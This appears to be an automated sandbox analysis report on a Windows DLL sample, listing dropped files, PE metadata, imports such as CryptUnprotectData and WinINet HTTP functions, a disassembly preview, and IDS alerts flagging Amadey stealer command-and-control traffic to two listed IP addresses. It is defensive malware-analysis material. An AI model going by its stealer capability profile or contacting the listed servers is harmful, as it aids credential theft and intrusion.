File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.702263764575455
Encrypted:	false
SSDEEP:	24:QUkKzRRr64jMMhcqBDi9yWJqsBFhli3VZ6i0:QUkCe4j/hI9yWJnvi3Vf0
MD5:	1680F18135FD9FE517865D4B70BCA69F
SHA1:	CE72CFB81AB690709C2C5BBF40348F829C87813B
SHA-256:	0F4384BA6CC62588912ACEBE97E6E00A03D1145AFAF38BDE22023CA303B22CA0
SHA-512:	E63A46F382399DE9A52F82325302CCFF8184246D4A126EDCC98283B6CBC77D4330A01A704BA4E29144A2A37D6E06F9AF22383A00ACC2394E827DC97748171585
Malicious:	false
Preview:	ZQIXMVQGAHDITDJZGGBRVMLECQSWORTZSLVRPVEGPWPVZTSCUAAOZEHEMQBFXYQHAHJZSDLBFWCHSGHULCPYSYSQXRZJWEBIQXUUBQWRWTEIEYXQNQSWSIFSZRCKKPIEMFCPWGUCQQMTSHZBSZVTRBPCPEJUOTTXWFTZMIACKGYGCKGMCSBDEWSYMPFVNOOLZEARTYUPCWTOBACIPWHFPWORDPLQMNLMUZNAKOQVSKHKIFLPCYEHDDRRDQOYCYQVULYYOTKIZPSPBGJRCSTMNKECWGATNMXDLHHCEVMIAXORCUUBFYRDSANZMOGABCQIQLFHTBGKKNPDKITRXVRKSKNVGMYCWRZQDVIMHLJLZRTYAAEHTNREDULDCWBSZMMNIANUNAFOGWCASXNKHREAUCUWLFKPTBHSSBGWNPWTUBBQMZWBLBJUGDBYRIMWQJRPSOWJXAJGBKZNEPJRNRYUSGQVPTEMKUOEFNAJOSUDQYVKPUJCZGEGCSKJLVBNJUHWENWOTATKRZDPPHLZRTEDRFFPOSXJYWZGCANYHHLHXXVTSSYPKKRRPYFRZWPUNTSEFRSCUYISMVFYBIPXTBGXLELYMXPWVIFHICARYLACSUYONWBWTORCZTHJFSTTFVOFCJFCNAETZOVMYJPCQMLJESIRJYXODJQXZDNJABIYMTRLKATOAVVXTUZSVSRMUIPQSCLFLDHXPUIRKARFNWIVJCRHDPDVWJMVIMIYEVDEIYZXDMZFAKSSTYCAXXIWXKFLTNQLSXXZMPIQZYDSHVASWFVUHVXSYXSNAYZOGEQZXYDMZBHUZSYGXGRDAZTEOKPXEATMDEMGOQLFIBNDPAXRWXZXMBHAXSODDRKSUOGIMMNADLIRGHDFDTKKQAFWAYTUNQJNECGAKAPULJFXENSHPMQGUWBJJTPVTDADKCEVKGQOXSCANLNQNJAWKDBVBIWICEASXDEHDCNCUIOBUKTINVKEPNITJZRLWNHBVANB

C:\Users\user\AppData\Local\Temp\_Files_\ZQIXMVQGAH.xlsx

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.702263764575455
Encrypted:	false
SSDEEP:	24:QUkKzRRr64jMMhcqBDi9yWJqsBFhli3VZ6i0:QUkCe4j/hI9yWJnvi3Vf0
MD5:	1680F18135FD9FE517865D4B70BCA69F
SHA1:	CE72CFB81AB690709C2C5BBF40348F829C87813B
SHA-256:	0F4384BA6CC62588912ACEBE97E6E00A03D1145AFAF38BDE22023CA303B22CA0
SHA-512:	E63A46F382399DE9A52F82325302CCFF8184246D4A126EDCC98283B6CBC77D4330A01A704BA4E29144A2A37D6E06F9AF22383A00ACC2394E827DC97748171585
Malicious:	false
Preview:	ZQIXMVQGAHDITDJZGGBRVMLECQSWORTZSLVRPVEGPWPVZTSCUAAOZEHEMQBFXYQHAHJZSDLBFWCHSGHULCPYSYSQXRZJWEBIQXUUBQWRWTEIEYXQNQSWSIFSZRCKKPIEMFCPWGUCQQMTSHZBSZVTRBPCPEJUOTTXWFTZMIACKGYGCKGMCSBDEWSYMPFVNOOLZEARTYUPCWTOBACIPWHFPWORDPLQMNLMUZNAKOQVSKHKIFLPCYEHDDRRDQOYCYQVULYYOTKIZPSPBGJRCSTMNKECWGATNMXDLHHCEVMIAXORCUUBFYRDSANZMOGABCQIQLFHTBGKKNPDKITRXVRKSKNVGMYCWRZQDVIMHLJLZRTYAAEHTNREDULDCWBSZMMNIANUNAFOGWCASXNKHREAUCUWLFKPTBHSSBGWNPWTUBBQMZWBLBJUGDBYRIMWQJRPSOWJXAJGBKZNEPJRNRYUSGQVPTEMKUOEFNAJOSUDQYVKPUJCZGEGCSKJLVBNJUHWENWOTATKRZDPPHLZRTEDRFFPOSXJYWZGCANYHHLHXXVTSSYPKKRRPYFRZWPUNTSEFRSCUYISMVFYBIPXTBGXLELYMXPWVIFHICARYLACSUYONWBWTORCZTHJFSTTFVOFCJFCNAETZOVMYJPCQMLJESIRJYXODJQXZDNJABIYMTRLKATOAVVXTUZSVSRMUIPQSCLFLDHXPUIRKARFNWIVJCRHDPDVWJMVIMIYEVDEIYZXDMZFAKSSTYCAXXIWXKFLTNQLSXXZMPIQZYDSHVASWFVUHVXSYXSNAYZOGEQZXYDMZBHUZSYGXGRDAZTEOKPXEATMDEMGOQLFIBNDPAXRWXZXMBHAXSODDRKSUOGIMMNADLIRGHDFDTKKQAFWAYTUNQJNECGAKAPULJFXENSHPMQGUWBJJTPVTDADKCEVKGQOXSCANLNQNJAWKDBVBIWICEASXDEHDCNCUIOBUKTINVKEPNITJZRLWNHBVANB

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3b0bmv2l.hfn.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_asbrss25.zqs.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dyune5so.x15.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_eqjxj5r1.lk0.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ero0d5xz.2o2.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pimznuzu.vr5.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_q1k4xpqs.wbl.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tgvpfkln.5ce.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xrmpqawh.fst.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_y0lirnjh.zsw.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_znf21g1b.5zh.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zy00syte.spt.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

Static File Info

General

File type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Entropy (8bit):	6.466046469058072
TrID:	Win64 Dynamic Link Library (generic) (102004/3) 86.43% Win64 Executable (generic) (12005/4) 10.17% Generic Win/DOS Executable (2004/3) 1.70% DOS Executable Generic (2002/1) 1.70% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.01%
File name:	hoPazBDFG9.dll
File size:	1'281'024 bytes
MD5:	c6aabb27450f1a9939a417e86bf53217
SHA1:	b8ef3bb7575139fd6997379415d7119e452b5fc4
SHA256:	b91a3743c7399aee454491862e015ef6fc668a25d1aa2816e065a86a03f6be35
SHA512:	e5fe205cb0f419e0a320488d6fa4a70e5ed58f25b570b41412ebd4f32bbe504ff75acb20bfea22513102630cf653a41e5090051f20af2ed3aadb53ce16a05944
SSDEEP:	24576:BO//kL3TtMhQsnoXyajMK8fCZEqcAxQBuLv8YPKpTG:z3pMhQzRM3MfcAxHv8t
TLSH:	DD556C0BA36141BCD4BBE1789A175A46F775704603709AEB07E446A63F13FE1AEBE310
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........D................................s.............................................................X.............Rich...........

File Icon


Icon Hash:	7ae282899bbab082

Static PE Info

General

Entrypoint:	0x1800cfac4
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x180000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, DLL
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x675A9682 [Thu Dec 12 07:53:38 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	3f175edea93fa7a76a78004d12de2235

Entrypoint Preview

Instruction
dec eax
mov dword ptr [esp+08h], ebx
dec eax
mov dword ptr [esp+10h], esi
push edi
dec eax
sub esp, 20h
dec ecx
mov edi, eax
mov ebx, edx
dec eax
mov esi, ecx
cmp edx, 01h
jne 00007F0424841EB7h
call 00007F0424842218h
dec esp
mov eax, edi
mov edx, ebx
dec eax
mov ecx, esi
dec eax
mov ebx, dword ptr [esp+30h]
dec eax
mov esi, dword ptr [esp+38h]
dec eax
add esp, 20h
pop edi
jmp 00007F0424841D44h
int3
int3
int3
dec eax
and dword ptr [ecx+10h], 00000000h
dec eax
lea eax, dword ptr [0002F048h]
dec eax
mov dword ptr [ecx+08h], eax
dec eax
lea eax, dword ptr [0002F02Dh]
dec eax
mov dword ptr [ecx], eax
dec eax
mov eax, ecx
ret
int3
int3
dec eax
sub esp, 48h
dec eax
lea ecx, dword ptr [esp+20h]
call 00007F0424841E87h
dec eax
lea edx, dword ptr [00057F07h]
dec eax
lea ecx, dword ptr [esp+20h]
call 00007F04248443C6h
int3
dec eax
mov dword ptr [esp+10h], ebx
dec eax
mov dword ptr [esp+18h], esi
push edi
dec eax
sub esp, 10h
xor eax, eax
xor ecx, ecx
cpuid
inc esp
mov eax, ecx
inc ebp
xor ebx, ebx
inc esp
mov ecx, ebx
inc ecx
xor eax, 6C65746Eh
inc ecx
xor ecx, 756E6547h
inc esp
mov edx, edx
mov esi, eax
xor ecx, ecx
inc ecx
lea eax, dword ptr [ebx+01h]
inc ebp
or ecx, eax
cpuid
inc ecx
xor edx, 49656E69h
mov dword ptr [esp], eax
inc ebp

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x127e80	0x58	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x127ed8	0x8c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x142000	0xf8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x136000	0xae9c	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x143000	0x126c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x119500	0x70	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x119570	0x138	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xfe000	0x600	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xfc7d0	0xfc800	532bc749820385c5ffffd33c820fe34a	False	0.5002620281559406	data	6.448775586262144	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0xfe000	0x2b39e	0x2b400	1bf5fbe798b4e337a16fda8151665d56	False	0.442094924132948	OpenPGP Public Key	5.690396896715381	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x12a000	0xbb8c	0x4400	61d31a77fefa0f32c01e3f3bc17f6803	False	0.1189108455882353	DOS executable (block device driver \322f\324\377\3772)	2.1677539241948747	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x136000	0xae9c	0xb000	953d60eb89a525b0f93fd89f8de1b1dc	False	0.4589177911931818	data	6.053276122210041	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
_RDATA	0x141000	0xfc	0x200	e6b0804fe5391dcc441dbda6a53f9f66	False	0.326171875	data	2.4656798618339506	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x142000	0xf8	0x200	193fc41b7ab2ce83170d116dba1ce3ac	False	0.3359375	data	2.5236806502270213	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x143000	0x126c	0x1400	97bff9ae7d7c219975ac641fc905b3bf	False	0.4251953125	data	5.292934315024202	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x142060	0x91	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.8689655172413793

Imports

DLL	Import
CRYPT32.dll	CryptUnprotectData
KERNEL32.dll	GetFullPathNameA, SetEndOfFile, UnlockFileEx, GetTempPathW, CreateMutexW, WaitForSingleObject, CreateFileW, GetFileAttributesW, GetCurrentThreadId, UnmapViewOfFile, HeapValidate, HeapSize, MultiByteToWideChar, Sleep, GetTempPathA, FormatMessageW, GetDiskFreeSpaceA, GetLastError, GetFileAttributesA, GetFileAttributesExW, OutputDebugStringW, CreateFileA, LoadLibraryA, WaitForSingleObjectEx, DeleteFileA, DeleteFileW, HeapReAlloc, CloseHandle, GetSystemInfo, LoadLibraryW, HeapAlloc, HeapCompact, HeapDestroy, UnlockFile, GetProcAddress, CreateFileMappingA, LocalFree, LockFileEx, GetFileSize, DeleteCriticalSection, GetCurrentProcessId, GetProcessHeap, SystemTimeToFileTime, FreeLibrary, WideCharToMultiByte, GetSystemTimeAsFileTime, GetSystemTime, FormatMessageA, CreateFileMappingW, MapViewOfFile, QueryPerformanceCounter, GetTickCount, FlushFileBuffers, SetHandleInformation, FindFirstFileA, Wow64DisableWow64FsRedirection, K32GetModuleFileNameExW, FindNextFileA, CreatePipe, PeekNamedPipe, lstrlenA, FindClose, GetCurrentDirectoryA, lstrcatA, OpenProcess, SetCurrentDirectoryA, CreateToolhelp32Snapshot, ProcessIdToSessionId, CopyFileA, Wow64RevertWow64FsRedirection, Process32NextW, Process32FirstW, CreateThread, CreateProcessA, CreateDirectoryA, WriteConsoleW, InitializeCriticalSection, LeaveCriticalSection, LockFile, OutputDebugStringA, GetDiskFreeSpaceW, WriteFile, GetFullPathNameW, EnterCriticalSection, HeapFree, HeapCreate, TryEnterCriticalSection, ReadFile, AreFileApisANSI, SetFilePointer, ReadConsoleW, SetFilePointerEx, GetFileSizeEx, GetConsoleMode, GetConsoleOutputCP, SetEnvironmentVariableW, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineW, GetCommandLineA, GetOEMCP, GetACP, IsValidCodePage, FindNextFileW, FindFirstFileExW, SetStdHandle, GetCurrentDirectoryW, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, TerminateProcess, IsProcessorFeaturePresent, IsDebuggerPresent, GetStartupInfoW, GetModuleHandleW, InitializeSListHead, LCMapStringEx, InitializeCriticalSectionEx, EncodePointer, DecodePointer, CompareStringEx, GetCPInfo, GetStringTypeW, RtlUnwindEx, RtlPcToFileHeader, RaiseException, InterlockedFlushSList, SetLastError, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, LoadLibraryExW, ExitThread, FreeLibraryAndExitThread, GetModuleHandleExW, GetDriveTypeW, GetFileInformationByHandle, GetFileType, SystemTimeToTzSpecificLocalTime, FileTimeToSystemTime, ExitProcess, GetModuleFileNameW, CompareStringW, LCMapStringW, GetLocaleInfoW, IsValidLocale, GetUserDefaultLCID, EnumSystemLocalesW, GetTimeZoneInformation, GetStdHandle
ADVAPI32.dll	RegQueryValueExA, RegEnumValueW, RegEnumKeyA, RegCloseKey, RegQueryInfoKeyW, RegOpenKeyA, RegOpenKeyExA, GetSidSubAuthorityCount, GetSidSubAuthority, GetUserNameA, RegEnumKeyExW, LookupAccountNameA, GetSidIdentifierAuthority
SHELL32.dll	SHGetFolderPathA, SHFileOperationA
WININET.dll	HttpOpenRequestA, InternetWriteFile, InternetReadFile, InternetConnectA, HttpSendRequestA, InternetCloseHandle, InternetOpenA, HttpAddRequestHeadersA, HttpSendRequestExW, HttpEndRequestA, InternetOpenW
bcrypt.dll	BCryptOpenAlgorithmProvider, BCryptSetProperty, BCryptGenerateSymmetricKey, BCryptDecrypt

Exports

Name	Ordinal	Address
Main	1	0x1800bfaf0
Save	2	0x1800056a0

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-13T07:49:04.299156+0100	2855239	ETPRO MALWARE Win32/Amadey Stealer Activity M4 (POST)	1	192.168.2.12	49710	185.81.68.147	80	TCP
2024-12-13T07:49:04.319298+0100	2855239	ETPRO MALWARE Win32/Amadey Stealer Activity M4 (POST)	1	192.168.2.12	49711	185.81.68.147	80	TCP
2024-12-13T07:49:05.770953+0100	2855239	ETPRO MALWARE Win32/Amadey Stealer Activity M4 (POST)	1	192.168.2.12	49713	185.81.68.148	80	TCP
2024-12-13T07:49:05.770953+0100	2856150	ETPRO MALWARE Amadey CnC Activity M6	1	192.168.2.12	49713	185.81.68.148	80	TCP
2024-12-13T07:49:05.771904+0100	2855239	ETPRO MALWARE Win32/Amadey Stealer Activity M4 (POST)	1	192.168.2.12	49712	185.81.68.148	80	TCP
2024-12-13T07:49:05.771904+0100	2856150	ETPRO MALWARE Amadey CnC Activity M6	1	192.168.2.12	49712	185.81.68.148	80	TCP
2024-12-13T07:49:09.706078+0100	2855239	ETPRO MALWARE Win32/Amadey Stealer Activity M4 (POST)	1	192.168.2.12	49714	185.81.68.147	80	TCP
2024-12-13T07:49:11.169983+0100	2855239	ETPRO MALWARE Win32/Amadey Stealer Activity M4 (POST)	1	192.168.2.12	49715	185.81.68.148	80	TCP
2024-12-13T07:49:11.169983+0100	2856150	ETPRO MALWARE Amadey CnC Activity M6	1	192.168.2.12	49715	185.81.68.148	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 13, 2024 07:49:02.841814041 CET	49710	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:02.851291895 CET	49711	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:02.961545944 CET	80	49710	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:02.965150118 CET	49710	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:02.967263937 CET	49710	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:02.971110106 CET	80	49711	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:02.971978903 CET	49711	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:02.992851019 CET	49711	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:03.086999893 CET	80	49710	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:03.112847090 CET	80	49711	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:04.299096107 CET	80	49710	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:04.299155951 CET	49710	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:04.316883087 CET	49712	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:04.319120884 CET	80	49711	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:04.319298029 CET	49711	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:04.321371078 CET	49713	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:04.436584949 CET	80	49712	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:04.436711073 CET	49712	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:04.436938047 CET	49712	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:04.441083908 CET	80	49713	185.81.68.148	192.168.2.12
